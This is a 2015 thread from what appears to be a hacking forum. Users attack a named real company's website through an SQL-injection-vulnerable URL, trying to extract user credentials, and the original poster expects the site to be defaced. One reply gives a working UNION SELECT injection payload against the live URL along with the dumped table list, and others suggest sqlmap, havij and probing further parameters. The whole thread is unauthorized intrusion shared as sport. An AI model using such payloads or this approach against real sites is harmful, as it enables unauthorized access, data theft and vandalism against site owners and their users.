Mar 25, 2015 03:45 PM
(This post was last modified: Mar 25, 2015 03:46 PM by Ooze.)
So this isnt a huge forumn but I found a page within the forumn that was vulnerable. I got all the tables and none of them contain columns with username an password or anything like that. I know this site has users and members but I dont see anything. I will leave a link to the site so it will probably be defaced before I can do anything. But thats ok as long as I learn what the problem is.
http://www.interplay.com/games/support.php?id=263
That is the vulnerble link. Have fun but make sure to tell me what I did wrong.
Did you dump a list of all of the available databases?
What about running a search with sqlmap for column names in case you missed something?
(Mar 25, 2015 03:57 PM)Benign Wrote: Did you dump a list of all of the available databases?
What about running a search with sqlmap for column names in case you missed something? To my knowledge the only other database was information schema which is usless and I dont use SQL map but I could try
Lol dude you're just missing it because that information is definitely in there.
(Mar 25, 2015 10:33 PM)sluggerz Wrote: Lol dude you're just missing it because that information is definitely in there.
Are you saying this because you've seen it, or just to say something? It could be that the forum authentication data is in a separate database technology that isn't accessible from the injection point we have, or even hosted on another system.
I havnt looked so I'm not saying this is the case, I'm just saying it could be that there is no auth data here.
DO NOT DEAL WITH THIS MEMBER
Just a basic injection guys.
PHP Code
<?php
http://www.interplay.com/games/support.php?id=-263 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+information_schema.tables+where+table_schema=0x696e746572706c6179--
PHP Code
<?php
banners,banners_banner_id_seq,careers,careers_career_id_seq,downloads,franchises,franchises_franchise_id_seq,news,news_news_id_seq,screenshots,screenshots_screenshot_id_seq,titles,titles_title_id_seq
Have to go to work, so didn't go any further.
Mar 26, 2015 01:40 AM
(This post was last modified: Mar 26, 2015 01:51 AM by Disparity.)
(Mar 26, 2015 01:11 AM)-zERAiT Wrote: PHP Code
<?php
banners,banners_banner_id_seq,careers,careers_career_id_seq,downloads,franchises,franchises_franchise_id_seq,news,news_news_id_seq,screenshots,screenshots_screenshot_id_seq,titles,titles_title_id_seq
Exactly what I got. However, I do have the time to go further, and from what I can tell this vulnerability holds little to no promise. I didn't find any usertables or anything sensitive at all.
Edit: Why the fuck is HF blocking anything under the PHP tag I post? Even when I'm just quoting someone?
(Mar 26, 2015 01:40 AM)Disparity Wrote: Exactly what I got. However, I do have the time to go further, and from what I can tell this vulnerability holds little to no promise. I didn't find any usertables or anything sensitive at all.
Edit: Why the fuck is HF blocking anything under the PHP tag I post? Even when I'm just quoting someone? Thanks for checking and making sure I'm not crazy, I have no idea why there is no sensitive data, I have never dealt with a site that ended up like that. Thanks again for checking.
I wonder if they are running two DBS. I would try a different parameter.
(Mar 26, 2015 10:57 AM)sluggerz Wrote: I wonder if they are running two DBS. I would try a different parameter.
But wouldn't you see the other DB? For the hell of it I ran the link in havij(I know the basics of sqli so far but havij was faster while I did other things) and I click get DB at least 5 times and only info_schem and interplay came
(Mar 26, 2015 07:11 AM)Ooze Wrote: Thanks for checking and making sure I'm not crazy, I have no idea why there is no sensitive data, I have never dealt with a site that ended up like that. Thanks again for checking.
The user tables are simply kept in a separate area. This vulnerability seems to be an a media related area of the site. User tables and other sensitive data simply wouldn't have a place in being there.
(Mar 30, 2015 09:53 PM)Disparity Wrote: The user tables are simply kept in a separate area. This vulnerability seems to be an a media related area of the site. User tables and other sensitive data simply wouldn't have a place in being there.
Exactly what I was saying. This site probably run two database and you need to find the correct vuln to get access to the other half.
There's no admin or id in that vulnerable site :3
|
